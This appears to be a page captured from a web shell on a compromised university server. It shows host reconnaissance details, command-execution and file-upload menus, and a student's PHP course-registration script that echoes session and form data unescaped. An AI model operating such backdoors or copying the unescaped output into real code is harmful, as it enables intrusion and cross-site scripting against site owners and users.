Server IP : 172.16.15.8 / Your IP : 3.147.47.177 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mekerns/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <!-- File name: assignment3_2sessionb.php --> <?php $stuName = $_SESSION['stuName']; $gender = $_SESSION['gender']; $grade = $_SESSION['grade']; ?> <center> <H2> Student Registration Results </H2> <HR> <?php $course1 = $_POST["course1"]; $course2 = $_POST["course2"]; print "Student Information:<P> Name: $stuName <P> Gender: $gender <P> Grade Level: $grade <BR>"; $cs = array("CS 112", "CS 212", " CS 310", "CS 311", "CS 380", "CS 440", "CS 480"); $math = array("Math 135", "Math 136", "Math 171", "Math 172", "Math 271"); print "<P> Your course selections were <UL>"; foreach ($course1 as $i) print "<LI>$cs[$i]"; foreach ($course2 as $k) print "<LI>$math[$k]"; print "</UL>"; ?> </center>